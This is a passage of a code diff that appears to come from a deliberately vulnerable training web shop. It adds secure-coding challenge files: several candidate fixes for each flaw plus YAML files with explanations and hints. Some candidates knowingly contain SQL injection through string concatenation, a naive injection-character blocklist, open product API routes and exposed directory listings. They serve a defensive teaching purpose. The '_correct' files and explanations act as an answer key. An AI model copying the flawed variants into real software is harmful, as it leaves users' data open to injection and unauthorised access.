'change-password', + component: ChangePasswordComponent + }, + { + path: 'two-factor-authentication', + component: TwoFactorAuthComponent + }, + { + path: 'data-export', + component: DataExportComponent + }, + { + path: 'last-login-ip', + component: LastLoginIpComponent + } + ] + }, + { + matcher: oauthMatcher, + data: { params: (window.location.href).substr(window.location.href.indexOf('#')) }, + component: OAuthComponent + }, + { + matcher: tokenMatcher, + component: TokenSaleComponent + }, + { + path: '403', + component: ErrorPageComponent + }, + { + path: '**', + component: SearchResultComponent + } +] \ No newline at end of file diff --git a/data/static/codefixes/changeProductChallenge.info.yml b/data/static/codefixes/changeProductChallenge.info.yml new file mode 100644 index 00000000000..7995516358e --- /dev/null +++ b/data/static/codefixes/changeProductChallenge.info.yml @@ -0,0 +1,13 @@ +fixes: + - id: 1 + explanation: "While removing the commented-out line made the code cleaner, it did not change the functionality in any way and thus cannot have improved security either." + - id: 2 + explanation: 'Removing all dedicated handling of the products API made things worse, as now the default permissions of the underlying API generator will be used: Allowing GET, POST, PUT and DELETE - without any restrictions.' + - id: 3 + explanation: "Disabling all HTTP verbs other than GET for the products API is indeed the only safe way to implement secure access control. Shop administrators should not use the customer facing web UI to manage the store's inventory anyway." + - id: 4 + explanation: 'You improved security slightly by no longer accepting PUT requests from anonymous API callers. But does the shop even want to allow its authenticated customers to change products themselves?' +hints: + - "In the long list of API-handling middleware, try to find the ones dealing with products offered in the shop first." + - 'API routes need to specifically define a handler for a HTTP verb if they wish to override the "allow everything to everyone" default behavior.' + - "There is one line that is commented out for no good reason among the product-related middleware." diff --git a/data/static/codefixes/changeProductChallenge_1.ts b/data/static/codefixes/changeProductChallenge_1.ts new file mode 100644 index 00000000000..cf42763f0dc --- /dev/null +++ b/data/static/codefixes/changeProductChallenge_1.ts @@ -0,0 +1,73 @@ +/** Authorization **/ + /* Baskets: Unauthorized users are not allowed to access baskets */ + app.use('/rest/basket', security.isAuthorized(), security.appendUserId()) + /* BasketItems: API only accessible for authenticated users */ + app.use('/api/BasketItems', security.isAuthorized()) + app.use('/api/BasketItems/:id', security.isAuthorized()) + /* Feedbacks: GET allowed for feedback carousel, POST allowed in order to provide feedback without being logged in */ + app.use('/api/Feedbacks/:id', security.isAuthorized()) + /* Users: Only POST is allowed in order to register a new user */ + app.get('/api/Users', security.isAuthorized()) + app.route('/api/Users/:id') + .get(security.isAuthorized()) + .put(security.denyAll()) + .delete(security.denyAll()) + /* Products: Only GET is allowed in order to view products */ + app.post('/api/Products', security.isAuthorized()) + app.delete('/api/Products/:id', security.denyAll()) + /* Challenges: GET list of challenges allowed. Everything else forbidden entirely */ + app.post('/api/Challenges', security.denyAll()) + app.use('/api/Challenges/:id', security.denyAll()) + /* Complaints: POST and GET allowed when logged in only */ + app.get('/api/Complaints', security.isAuthorized()) + app.post('/api/Complaints', security.isAuthorized()) + app.use('/api/Complaints/:id', security.denyAll()) + /* Recycles: POST and GET allowed when logged in only */ + app.get('/api/Recycles', recycles.blockRecycleItems()) + app.post('/api/Recycles', security.isAuthorized()) + /* Challenge evaluation before finale takes over */ + app.get('/api/Recycles/:id', recycles.getRecycleItem()) + app.put('/api/Recycles/:id', security.denyAll()) + app.delete('/api/Recycles/:id', security.denyAll()) + /* SecurityQuestions: Only GET list of questions allowed. */ + app.post('/api/SecurityQuestions', security.denyAll()) + app.use('/api/SecurityQuestions/:id', security.denyAll()) + /* SecurityAnswers: Only POST of answer allowed. */ + app.get('/api/SecurityAnswers', security.denyAll()) + app.use('/api/SecurityAnswers/:id', security.denyAll()) + /* REST API */ + app.use('/rest/user/authentication-details', security.isAuthorized()) + app.use('/rest/basket/:id', security.isAuthorized()) + app.use('/rest/basket/:id/order', security.isAuthorized()) + /* Unauthorized users are not allowed to access B2B API */ + app.use('/b2b/v2', security.isAuthorized()) + /* Check if the quantity is available in stock and limit per user not exceeded, then add item to basket */ + app.put('/api/BasketItems/:id', security.appendUserId(), basketItems.quantityCheckBeforeBasketItemUpdate()) + app.post('/api/BasketItems', security.appendUserId(), basketItems.quantityCheckBeforeBasketItemAddition(), basketItems.addBasketItem()) + /* Accounting users are allowed to check and update quantities */ + app.delete('/api/Quantitys/:id', security.denyAll()) + app.post('/api/Quantitys', security.denyAll()) + app.use('/api/Quantitys/:id', security.isAccounting(), ipfilter(['123.456.789'], { mode: 'allow' })) + /* Feedbacks: Do not allow changes of existing feedback */ + app.put('/api/Feedbacks/:id', security.denyAll()) + /* PrivacyRequests: Only allowed for authenticated users */ + app.use('/api/PrivacyRequests', security.isAuthorized()) + app.use('/api/PrivacyRequests/:id', security.isAuthorized()) + /* PaymentMethodRequests: Only allowed for authenticated users */ + app.post('/api/Cards', security.appendUserId()) + app.get('/api/Cards', security.appendUserId(), payment.getPaymentMethods()) + app.put('/api/Cards/:id', security.denyAll()) + app.delete('/api/Cards/:id', security.appendUserId(), payment.delPaymentMethodById()) + app.get('/api/Cards/:id', security.appendUserId(), payment.getPaymentMethodById()) + /* PrivacyRequests: Only POST allowed for authenticated users */ + app.post('/api/PrivacyRequests', security.isAuthorized()) + app.get('/api/PrivacyRequests', security.denyAll()) + app.use('/api/PrivacyRequests/:id', security.denyAll()) + + app.post('/api/Addresss', security.appendUserId()) + app.get('/api/Addresss', security.appendUserId(), address.getAddress()) + app.put('/api/Addresss/:id', security.appendUserId()) + app.delete('/api/Addresss/:id', security.appendUserId(), address.delAddressById()) + app.get('/api/Addresss/:id', security.appendUserId(), address.getAddressById()) + app.get('/api/Deliverys', delivery.getDeliveryMethods()) + app.get('/api/Deliverys/:id', delivery.getDeliveryMethod()) \ No newline at end of file diff --git a/data/static/codefixes/changeProductChallenge_2.ts b/data/static/codefixes/changeProductChallenge_2.ts new file mode 100644 index 00000000000..a41e3c5652d --- /dev/null +++ b/data/static/codefixes/changeProductChallenge_2.ts @@ -0,0 +1,70 @@ +/** Authorization **/ + /* Baskets: Unauthorized users are not allowed to access baskets */ + app.use('/rest/basket', security.isAuthorized(), security.appendUserId()) + /* BasketItems: API only accessible for authenticated users */ + app.use('/api/BasketItems', security.isAuthorized()) + app.use('/api/BasketItems/:id', security.isAuthorized()) + /* Feedbacks: GET allowed for feedback carousel, POST allowed in order to provide feedback without being logged in */ + app.use('/api/Feedbacks/:id', security.isAuthorized()) + /* Users: Only POST is allowed in order to register a new user */ + app.get('/api/Users', security.isAuthorized()) + app.route('/api/Users/:id') + .get(security.isAuthorized()) + .put(security.denyAll()) + .delete(security.denyAll()) + /* Challenges: GET list of challenges allowed. Everything else forbidden entirely */ + app.post('/api/Challenges', security.denyAll()) + app.use('/api/Challenges/:id', security.denyAll()) + /* Complaints: POST and GET allowed when logged in only */ + app.get('/api/Complaints', security.isAuthorized()) + app.post('/api/Complaints', security.isAuthorized()) + app.use('/api/Complaints/:id', security.denyAll()) + /* Recycles: POST and GET allowed when logged in only */ + app.get('/api/Recycles', recycles.blockRecycleItems()) + app.post('/api/Recycles', security.isAuthorized()) + /* Challenge evaluation before finale takes over */ + app.get('/api/Recycles/:id', recycles.getRecycleItem()) + app.put('/api/Recycles/:id', security.denyAll()) + app.delete('/api/Recycles/:id', security.denyAll()) + /* SecurityQuestions: Only GET list of questions allowed. */ + app.post('/api/SecurityQuestions', security.denyAll()) + app.use('/api/SecurityQuestions/:id', security.denyAll()) + /* SecurityAnswers: Only POST of answer allowed. */ + app.get('/api/SecurityAnswers', security.denyAll()) + app.use('/api/SecurityAnswers/:id', security.denyAll()) + /* REST API */ + app.use('/rest/user/authentication-details', security.isAuthorized()) + app.use('/rest/basket/:id', security.isAuthorized()) + app.use('/rest/basket/:id/order', security.isAuthorized()) + /* Unauthorized users are not allowed to access B2B API */ + app.use('/b2b/v2', security.isAuthorized()) + /* Check if the quantity is available in stock and limit per user not exceeded, then add item to basket */ + app.put('/api/BasketItems/:id', security.appendUserId(), basketItems.quantityCheckBeforeBasketItemUpdate()) + app.post('/api/BasketItems', security.appendUserId(), basketItems.quantityCheckBeforeBasketItemAddition(), basketItems.addBasketItem()) + /* Accounting users are allowed to check and update quantities */ + app.delete('/api/Quantitys/:id', security.denyAll()) + app.post('/api/Quantitys', security.denyAll()) + app.use('/api/Quantitys/:id', security.isAccounting(), ipfilter(['123.456.789'], { mode: 'allow' })) + /* Feedbacks: Do not allow changes of existing feedback */ + app.put('/api/Feedbacks/:id', security.denyAll()) + /* PrivacyRequests: Only allowed for authenticated users */ + app.use('/api/PrivacyRequests', security.isAuthorized()) + app.use('/api/PrivacyRequests/:id', security.isAuthorized()) + /* PaymentMethodRequests: Only allowed for authenticated users */ + app.post('/api/Cards', security.appendUserId()) + app.get('/api/Cards', security.appendUserId(), payment.getPaymentMethods()) + app.put('/api/Cards/:id', security.denyAll()) + app.delete('/api/Cards/:id', security.appendUserId(), payment.delPaymentMethodById()) + app.get('/api/Cards/:id', security.appendUserId(), payment.getPaymentMethodById()) + /* PrivacyRequests: Only POST allowed for authenticated users */ + app.post('/api/PrivacyRequests', security.isAuthorized()) + app.get('/api/PrivacyRequests', security.denyAll()) + app.use('/api/PrivacyRequests/:id', security.denyAll()) + + app.post('/api/Addresss', security.appendUserId()) + app.get('/api/Addresss', security.appendUserId(), address.getAddress()) + app.put('/api/Addresss/:id', security.appendUserId()) + app.delete('/api/Addresss/:id', security.appendUserId(), address.delAddressById()) + app.get('/api/Addresss/:id', security.appendUserId(), address.getAddressById()) + app.get('/api/Deliverys', delivery.getDeliveryMethods()) + app.get('/api/Deliverys/:id', delivery.getDeliveryMethod()) \ No newline at end of file diff --git a/data/static/codefixes/changeProductChallenge_3_correct.ts b/data/static/codefixes/changeProductChallenge_3_correct.ts new file mode 100644 index 00000000000..3e8dbbbe29d --- /dev/null +++ b/data/static/codefixes/changeProductChallenge_3_correct.ts @@ -0,0 +1,74 @@ +/** Authorization **/ + /* Baskets: Unauthorized users are not allowed to access baskets */ + app.use('/rest/basket', security.isAuthorized(), security.appendUserId()) + /* BasketItems: API only accessible for authenticated users */ + app.use('/api/BasketItems', security.isAuthorized()) + app.use('/api/BasketItems/:id', security.isAuthorized()) + /* Feedbacks: GET allowed for feedback carousel, POST allowed in order to provide feedback without being logged in */ + app.use('/api/Feedbacks/:id', security.isAuthorized()) + /* Users: Only POST is allowed in order to register a new user */ + app.get('/api/Users', security.isAuthorized()) + app.route('/api/Users/:id') + .get(security.isAuthorized()) + .put(security.denyAll()) + .delete(security.denyAll()) + /* Products: Only GET is allowed in order to view products */ + app.post('/api/Products', security.denyAll()) + app.put('/api/Products/:id', security.denyAll()) + app.delete('/api/Products/:id', security.denyAll()) + /* Challenges: GET list of challenges allowed. Everything else forbidden entirely */ + app.post('/api/Challenges', security.denyAll()) + app.use('/api/Challenges/:id', security.denyAll()) + /* Complaints: POST and GET allowed when logged in only */ + app.get('/api/Complaints', security.isAuthorized()) + app.post('/api/Complaints', security.isAuthorized()) + app.use('/api/Complaints/:id', security.denyAll()) + /* Recycles: POST and GET allowed when logged in only */ + app.get('/api/Recycles', recycles.blockRecycleItems()) + app.post('/api/Recycles', security.isAuthorized()) + /* Challenge evaluation before finale takes over */ + app.get('/api/Recycles/:id', recycles.getRecycleItem()) + app.put('/api/Recycles/:id', security.denyAll()) + app.delete('/api/Recycles/:id', security.denyAll()) + /* SecurityQuestions: Only GET list of questions allowed. */ + app.post('/api/SecurityQuestions', security.denyAll()) + app.use('/api/SecurityQuestions/:id', security.denyAll()) + /* SecurityAnswers: Only POST of answer allowed. */ + app.get('/api/SecurityAnswers', security.denyAll()) + app.use('/api/SecurityAnswers/:id', security.denyAll()) + /* REST API */ + app.use('/rest/user/authentication-details', security.isAuthorized()) + app.use('/rest/basket/:id', security.isAuthorized()) + app.use('/rest/basket/:id/order', security.isAuthorized()) + /* Unauthorized users are not allowed to access B2B API */ + app.use('/b2b/v2', security.isAuthorized()) + /* Check if the quantity is available in stock and limit per user not exceeded, then add item to basket */ + app.put('/api/BasketItems/:id', security.appendUserId(), basketItems.quantityCheckBeforeBasketItemUpdate()) + app.post('/api/BasketItems', security.appendUserId(), basketItems.quantityCheckBeforeBasketItemAddition(), basketItems.addBasketItem()) + /* Accounting users are allowed to check and update quantities */ + app.delete('/api/Quantitys/:id', security.denyAll()) + app.post('/api/Quantitys', security.denyAll()) + app.use('/api/Quantitys/:id', security.isAccounting(), ipfilter(['123.456.789'], { mode: 'allow' })) + /* Feedbacks: Do not allow changes of existing feedback */ + app.put('/api/Feedbacks/:id', security.denyAll()) + /* PrivacyRequests: Only allowed for authenticated users */ + app.use('/api/PrivacyRequests', security.isAuthorized()) + app.use('/api/PrivacyRequests/:id', security.isAuthorized()) + /* PaymentMethodRequests: Only allowed for authenticated users */ + app.post('/api/Cards', security.appendUserId()) + app.get('/api/Cards', security.appendUserId(), payment.getPaymentMethods()) + app.put('/api/Cards/:id', security.denyAll()) + app.delete('/api/Cards/:id', security.appendUserId(), payment.delPaymentMethodById()) + app.get('/api/Cards/:id', security.appendUserId(), payment.getPaymentMethodById()) + /* PrivacyRequests: Only POST allowed for authenticated users */ + app.post('/api/PrivacyRequests', security.isAuthorized()) + app.get('/api/PrivacyRequests', security.denyAll()) + app.use('/api/PrivacyRequests/:id', security.denyAll()) + + app.post('/api/Addresss', security.appendUserId()) + app.get('/api/Addresss', security.appendUserId(), address.getAddress()) + app.put('/api/Addresss/:id', security.appendUserId()) + app.delete('/api/Addresss/:id', security.appendUserId(), address.delAddressById()) + app.get('/api/Addresss/:id', security.appendUserId(), address.getAddressById()) + app.get('/api/Deliverys', delivery.getDeliveryMethods()) + app.get('/api/Deliverys/:id', delivery.getDeliveryMethod()) \ No newline at end of file diff --git a/data/static/codefixes/changeProductChallenge_4.ts b/data/static/codefixes/changeProductChallenge_4.ts new file mode 100644 index 00000000000..f946e56408d --- /dev/null +++ b/data/static/codefixes/changeProductChallenge_4.ts @@ -0,0 +1,74 @@ +/** Authorization **/ + /* Baskets: Unauthorized users are not allowed to access baskets */ + app.use('/rest/basket', security.isAuthorized(), security.appendUserId()) + /* BasketItems: API only accessible for authenticated users */ + app.use('/api/BasketItems', security.isAuthorized()) + app.use('/api/BasketItems/:id', security.isAuthorized()) + /* Feedbacks: GET allowed for feedback carousel, POST allowed in order to provide feedback without being logged in */ + app.use('/api/Feedbacks/:id', security.isAuthorized()) + /* Users: Only POST is allowed in order to register a new user */ + app.get('/api/Users', security.isAuthorized()) + app.route('/api/Users/:id') + .get(security.isAuthorized()) + .put(security.denyAll()) + .delete(security.denyAll()) + /* Products: Only GET is allowed in order to view products */ + app.post('/api/Products', security.isAuthorized()) + app.put('/api/Products/:id', security.isAuthorized()) + app.delete('/api/Products/:id', security.denyAll()) + /* Challenges: GET list of challenges allowed. Everything else forbidden entirely */ + app.post('/api/Challenges', security.denyAll()) + app.use('/api/Challenges/:id', security.denyAll()) + /* Complaints: POST and GET allowed when logged in only */ + app.get('/api/Complaints', security.isAuthorized()) + app.post('/api/Complaints', security.isAuthorized()) + app.use('/api/Complaints/:id', security.denyAll()) + /* Recycles: POST and GET allowed when logged in only */ + app.get('/api/Recycles', recycles.blockRecycleItems()) + app.post('/api/Recycles', security.isAuthorized()) + /* Challenge evaluation before finale takes over */ + app.get('/api/Recycles/:id', recycles.getRecycleItem()) + app.put('/api/Recycles/:id', security.denyAll()) + app.delete('/api/Recycles/:id', security.denyAll()) + /* SecurityQuestions: Only GET list of questions allowed. */ + app.post('/api/SecurityQuestions', security.denyAll()) + app.use('/api/SecurityQuestions/:id', security.denyAll()) + /* SecurityAnswers: Only POST of answer allowed. */ + app.get('/api/SecurityAnswers', security.denyAll()) + app.use('/api/SecurityAnswers/:id', security.denyAll()) + /* REST API */ + app.use('/rest/user/authentication-details', security.isAuthorized()) + app.use('/rest/basket/:id', security.isAuthorized()) + app.use('/rest/basket/:id/order', security.isAuthorized()) + /* Unauthorized users are not allowed to access B2B API */ + app.use('/b2b/v2', security.isAuthorized()) + /* Check if the quantity is available in stock and limit per user not exceeded, then add item to basket */ + app.put('/api/BasketItems/:id', security.appendUserId(), basketItems.quantityCheckBeforeBasketItemUpdate()) + app.post('/api/BasketItems', security.appendUserId(), basketItems.quantityCheckBeforeBasketItemAddition(), basketItems.addBasketItem()) + /* Accounting users are allowed to check and update quantities */ + app.delete('/api/Quantitys/:id', security.denyAll()) + app.post('/api/Quantitys', security.denyAll()) + app.use('/api/Quantitys/:id', security.isAccounting(), ipfilter(['123.456.789'], { mode: 'allow' })) + /* Feedbacks: Do not allow changes of existing feedback */ + app.put('/api/Feedbacks/:id', security.denyAll()) + /* PrivacyRequests: Only allowed for authenticated users */ + app.use('/api/PrivacyRequests', security.isAuthorized()) + app.use('/api/PrivacyRequests/:id', security.isAuthorized()) + /* PaymentMethodRequests: Only allowed for authenticated users */ + app.post('/api/Cards', security.appendUserId()) + app.get('/api/Cards', security.appendUserId(), payment.getPaymentMethods()) + app.put('/api/Cards/:id', security.denyAll()) + app.delete('/api/Cards/:id', security.appendUserId(), payment.delPaymentMethodById()) + app.get('/api/Cards/:id', security.appendUserId(), payment.getPaymentMethodById()) + /* PrivacyRequests: Only POST allowed for authenticated users */ + app.post('/api/PrivacyRequests', security.isAuthorized()) + app.get('/api/PrivacyRequests', security.denyAll()) + app.use('/api/PrivacyRequests/:id', security.denyAll()) + + app.post('/api/Addresss', security.appendUserId()) + app.get('/api/Addresss', security.appendUserId(), address.getAddress()) + app.put('/api/Addresss/:id', security.appendUserId()) + app.delete('/api/Addresss/:id', security.appendUserId(), address.delAddressById()) + app.get('/api/Addresss/:id', security.appendUserId(), address.getAddressById()) + app.get('/api/Deliverys', delivery.getDeliveryMethods()) + app.get('/api/Deliverys/:id', delivery.getDeliveryMethod()) \ No newline at end of file diff --git a/data/static/codefixes/dbSchemaChallenge.info.yml b/data/static/codefixes/dbSchemaChallenge.info.yml new file mode 100644 index 00000000000..d2dfafa24a2 --- /dev/null +++ b/data/static/codefixes/dbSchemaChallenge.info.yml @@ -0,0 +1,11 @@ +fixes: + - id: 1 + explanation: 'Replacing the template string (`...`) notation with plain string concatenation ("..."+"...") does not change the behavior of the code in any way. It only makes the code less readable.' + - id: 2 + explanation: 'Using the built-in replacement (or binding) mechanism of Sequelize is equivalent to creating a Prepared Statement. This prevents tampering with the query syntax through malicious user input as it is "set in stone" before the criteria parameter is inserted.' + - id: 3 + explanation: "Trying to prevent any injection attacks with a custom-built blocklist mechanism is doomed to fail. It might work for some simpler attack payloads but an attacker with time and skills can likely bypass it at some point." +hints: + - "Try to identify any variables in the code that might contain arbitrary user input." + - "Follow the user input through the function call and try to spot places where it might be abused for malicious purposes." + - "Can you spot a place where a SQL query is being cobbled together in an unsafe way?" diff --git a/data/static/codefixes/dbSchemaChallenge_1.ts b/data/static/codefixes/dbSchemaChallenge_1.ts new file mode 100644 index 00000000000..2a0949b4530 --- /dev/null +++ b/data/static/codefixes/dbSchemaChallenge_1.ts @@ -0,0 +1,17 @@ +module.exports = function searchProducts () { + return (req: Request, res: Response, next: NextFunction) => { + let criteria: any = req.query.q === 'undefined' ? '' : req.query.q ?? '' + criteria = (criteria.length <= 200) ? criteria : criteria.substring(0, 200) + models.sequelize.query("SELECT * FROM Products WHERE ((name LIKE '%"+criteria+"%' OR description LIKE '%"+criteria+"%') AND deletedAt IS NULL) ORDER BY name") + .then(([products]: any) => { + const dataString = JSON.stringify(products) + for (let i = 0; i < products.length; i++) { + products[i].name = req.__(products[i].name) + products[i].description = req.__(products[i].description) + } + res.json(utils.queryResultToJson(products)) + }).catch((error: ErrorWithParent) => { + next(error.parent) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/dbSchemaChallenge_2_correct.ts b/data/static/codefixes/dbSchemaChallenge_2_correct.ts new file mode 100644 index 00000000000..4b7215dc98c --- /dev/null +++ b/data/static/codefixes/dbSchemaChallenge_2_correct.ts @@ -0,0 +1,19 @@ +module.exports = function searchProducts () { + return (req: Request, res: Response, next: NextFunction) => { + let criteria: any = req.query.q === 'undefined' ? '' : req.query.q ?? '' + criteria = (criteria.length <= 200) ? criteria : criteria.substring(0, 200) + models.sequelize.query( + `SELECT * FROM Products WHERE ((name LIKE '%:criteria%' OR description LIKE '%:criteria%') AND deletedAt IS NULL) ORDER BY name`, + { replacements: { criteria } } + ).then(([products]: any) => { + const dataString = JSON.stringify(products) + for (let i = 0; i < products.length; i++) { + products[i].name = req.__(products[i].name) + products[i].description = req.__(products[i].description) + } + res.json(utils.queryResultToJson(products)) + }).catch((error: ErrorWithParent) => { + next(error.parent) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/dbSchemaChallenge_3.ts b/data/static/codefixes/dbSchemaChallenge_3.ts new file mode 100644 index 00000000000..9b330f61a25 --- /dev/null +++ b/data/static/codefixes/dbSchemaChallenge_3.ts @@ -0,0 +1,23 @@ +const injectionChars = /"|'|;|and|or|;|#/i; + +module.exports = function searchProducts () { + return (req: Request, res: Response, next: NextFunction) => { + let criteria: any = req.query.q === 'undefined' ? '' : req.query.q ?? '' + criteria = (criteria.length <= 200) ? criteria : criteria.substring(0, 200) + if (criteria.match(injectionChars)) { + res.status(400).send() + return + } + models.sequelize.query(`SELECT * FROM Products WHERE ((name LIKE '%${criteria}%' OR description LIKE '%${criteria}%') AND deletedAt IS NULL) ORDER BY name`) + .then(([products]: any) => { + const dataString = JSON.stringify(products) + for (let i = 0; i < products.length; i++) { + products[i].name = req.__(products[i].name) + products[i].description = req.__(products[i].description) + } + res.json(utils.queryResultToJson(products)) + }).catch((error: ErrorWithParent) => { + next(error.parent) + }) + } +} \ No newline at end of file diff --git a/data/static/codefixes/directoryListingChallenge.info.yml b/data/static/codefixes/directoryListingChallenge.info.yml new file mode 100644 index 00000000000..d68885a117f --- /dev/null +++ b/data/static/codefixes/directoryListingChallenge.info.yml @@ -0,0 +1,13 @@ +fixes: + - id: 1 + explanation: 'Getting rid of the /ftp folder entirely is the only way to plumb this data leakage for good. Valid static content in it needs to be moved to a more suitable location and order confirmation PDFs had no business to be placed there publicly accessible in the first place. Everything else in that folder was just accidentally put & forgotten there anyway.' + - id: 2 + explanation: 'Removing only the directory listing will still allow attackers to download individual files if they can come up with a valid file name.' + - id: 3 + explanation: 'Removing the routes that serve individual files is likely to plumb the data leak but still provides information to the attacker unnecessarily.' + - id: 4 + explanation: "Switching off the icons is a cosmetic change on the directory listing but still allows the files to be browsed and accessed." +hints: + - "Can you identify one or more routes which have something to do with file serving?" + - "Did you notice that there are seperate routes the directory listing and retrieving individual files?" + - "Make sure to select both lines responsible for the data leakage." diff --git a/data/static/codefixes/directoryListingChallenge_1_correct.ts b/data/static/codefixes/directoryListingChallenge_1_correct.ts new file mode 100644 index 00000000000..1b2d682fd33 --- /dev/null +++ b/data/static/codefixes/directoryListingChallenge_1_correct.ts @@ -0,0 +1,13 @@ + /* /encryptionkeys directory browsing */ + app.use('/encryptionkeys', serveIndexMiddleware, serveIndex('encryptionkeys', { icons: true, view: 'details' })) + app.use('/encryptionkeys/:file', keyServer()) + + /* /logs directory browsing */ + app.use('/support/logs', serveIndexMiddleware, serveIndex('logs', { icons: true, view: 'details' })) + app.use('/support/logs/:file', logFileServer()) + + /* Swagger documentation for B2B v2 endpoints */ + app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument)) + + app.use(express.static(path.resolve('frontend/dist/frontend'))) + app.use(cookieParser('kekse')) \ No newline at end of file diff --git a/data/static/codefixes/directoryListingChallenge_2.ts b/data/static/codefixes/directoryListingChallenge_2.ts new file mode 100644 index 00000000000..3c8efb0014c --- /dev/null +++ b/data/static/codefixes/directoryListingChallenge_2.ts @@ -0,0 +1,17 @@ +/* /ftp file download */ + app.use('/ftp(?!/quarantine)/:file', fileServer()) + app.use('/ftp/quarantine/:file', quarantineServer()) + + /* /encryptionkeys directory browsing */ + app.use('/encryptionkeys', serveIndexMiddleware, serveIndex('encryptionkeys', { icons: true, view: 'details' })) + app.use('/encryptionkeys/:file', keyServer()) + + /* /logs directory browsing */ + app.use('/support/logs', serveIndexMiddleware, serveIndex('logs', { icons: true, view: 'details' })) + app.use('/support/logs/:file', logFileServer()) + + /* Swagger documentation for B2B v2 endpoints */ + app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument)) + + app.use(express.static(path.resolve('frontend/dist/frontend'))) + app.use(cookieParser('kekse')) \ No newline at end of file diff --git a/data/static/codefixes/directoryListingChallenge_3.ts b/data/static/codefixes/directoryListingChallenge_3.ts new file mode 100644 index 00000000000..8f374d16bb3 --- /dev/null +++ b/data/static/codefixes/directoryListingChallenge_3.ts @@ -0,0 +1,16 @@ +/* /ftp directory browsing */ + app.use('/ftp', serveIndexMiddleware, serveIndex('ftp', { icons: true })) + + /* /encryptionkeys directory browsing */ + app.use('/encryptionkeys', serveIndexMiddleware, serveIndex('encryptionkeys', { icons: true, view: 'details' })) + app.use('/encryptionkeys/:file', keyServer()) + + /* /logs directory browsing */ + app.use('/support/logs', serveIndexMiddleware, serveIndex('logs', { icons: true, view: 'details' })) + app.use('/support/logs/:file', logFileServer()) + + /* Swagger documentation for B2B v2 endpoints */ + app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument)) + + app.use(express.static(path.resolve('frontend/dist/frontend'))) + app.use(cookieParser('kekse')) \ No newline at end of file diff --git a/data/static/codefixes/directoryListingChallenge_4.ts b/data/static/codefixes/directoryListingChallenge_4.ts new file mode 100644 index 00000000000..820133051f9 --- /dev/null +++ b/data/static/codefixes/directoryListingChallenge_4.ts @@ -0,0 +1,18 @@ +/* /ftp directory browsing and file download */ + app.use('/ftp', serveIndexMiddleware, serveIndex('ftp', { icons: false })) + app.use('/ftp(?!/quarantine)/:file', fileServer()) + app.use('/ftp/quarantine/:file', quarantineServer()) + + /* /encryptionkeys directory browsing */ + app.use('/encryptionkeys', serveIndexMiddleware, serveIndex('encryptionkeys', { icons: true, view: 'details' })) + app.use('/encryptionkeys/:file', keyServer()) + + /* /logs directory browsing */ + app.use('/support/logs', serveIndexMiddleware, serveIndex('logs', { icons: true, view: 'details' })) + app.use('/support/logs/:file', logFileServer()) + + /* Swagger documentation for B2B v2 endpoints */ + app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument)) + + app.use(express.static(path.resolve('frontend/dist/frontend'))) + app.use(cookieParser('kekse')) \ No newline at end of file diff --git a/data/static/codefixes/exposedMetricsChallenge.info.yml b/data/static/codefixes/exposedMetricsChallenge.info.yml new file mode 100644 index 00000000000..b38702f423c --- /dev/null +++ b/data/static/codefixes/exposedMetricsChallenge.info.yml @@ -0,0 +1,10 @@ +fixes: + - id: 1 + explanation: "This fix prevents unauthorized access to the metrics route but overshoots the goal by locking out everyone - including administrators." + - id: 2 + explanation: "The metrics route remains publicly accessible. This change only messes with functional settings of the measurement framework unnecessarily." + - id: 3 + explanation: "Access will now be restricted only to users with administrator permissions, which seems reasonable protection, assuming that it is not possible for a regular user to escalate admin priviliges. If that were a risk, the metrics should better be stored behind the scenes not be made accessible via the shop application at all." +hints: + - "Can you find a HTTP route mapping that deals with metrics?" + - "Remember: The default behavior of route mappings is to allow access to everyone." diff --git a/data/static/codefixes/exposedMetricsChallenge_1.ts b/data/static/codefixes/exposedMetricsChallenge_1.ts new file mode 100644 index 00000000000..ddf5664b436 --- /dev/null +++ b/data/static/codefixes/exposedMetricsChallenge_1.ts @@ -0,0 +1,42 @@ +/* Serve metrics */ +let metricsUpdateLoop +const Metrics = metrics.observeMetrics() +app.get('/metrics', security.denyAll(), metrics.serveMetrics()) +errorhandler.title = `${config.get('application.name')} (Express ${utils.version('express')})` + +const registerWebsocketEvents = require('./lib/startup/registerWebsocketEvents') +const customizeApplication = require('./lib/startup/customizeApplication') + +export async function start (readyCallback: Function) { + const datacreatorEnd = startupGauge.startTimer({ task: 'datacreator' }) + await sequelize.sync({ force: true }) + await datacreator() + datacreatorEnd() + const port = process.env.PORT ?? config.get('server.port') + process.env.BASE_PATH = process.env.BASE_PATH ?? config.get('server.basePath') + + metricsUpdateLoop = Metrics.updateLoop() + + server.listen(port, () => { + logger.info(colors.cyan(`Server listening on port ${colors.bold(port)}`)) + startupGauge.set({ task: 'ready' }, (Date.now() - startTime) / 1000) + if (process.env.BASE_PATH !== '') { + logger.info(colors.cyan(`Server using proxy base path ${colors.bold(process.env.BASE_PATH)} for redirects`)) + } + registerWebsocketEvents(server) + if (readyCallback) { + readyCallback() + } + }) + +} + +export function close (exitCode: number | undefined) { + if (server) { + clearInterval(metricsUpdateLoop) + server.close() + } + if (exitCode !== undefined) { + process.exit(exitCode) + } +} \ No newline at end of file diff --git a/data/static/codefixes/exposedMetricsChallenge_2.ts b/data/static/codefixes/exposedMetricsChallenge_2.ts new file mode 100644 index 00000000000..31b781b9f61 --- /dev/null +++ b/data/static/codefixes/exposedMetricsChallenge_2.ts @@ -0,0 +1,38 @@ +/* Serve metrics */ +const Metrics = metrics.observeMetrics() +app.get('/metrics', metrics.serveMetrics()) +errorhandler.title = `${config.get('application.name')} (Express ${utils.version('express')})` + +const registerWebsocketEvents = require('./lib/startup/registerWebsocketEvents') +const customizeApplication = require('./lib/startup/customizeApplication') + +export async function start (readyCallback: Function) { + const datacreatorEnd = startupGauge.startTimer({ task: 'datacreator' }) + await sequelize.sync({ force: true }) + await datacreator() + datacreatorEnd() + const port = process.env.PORT ?? config.get('server.port') + process.env.BASE_PATH = process.env.BASE_PATH ?? config.get('server.basePath') + + server.listen(port, () => { + logger.info(colors.cyan(`Server listening on port ${colors.bold(port)}`)) + startupGauge.set({ task: 'ready' }, (Date.now() - startTime) / 1000) + if (process.env.BASE_PATH !== '') { + logger.info(colors.cyan(`Server using proxy base path ${colors.bold(process.env.BASE_PATH)} for redirects`)) + } + registerWebsocketEvents(server) + if (readyCallback) { + readyCallback() + 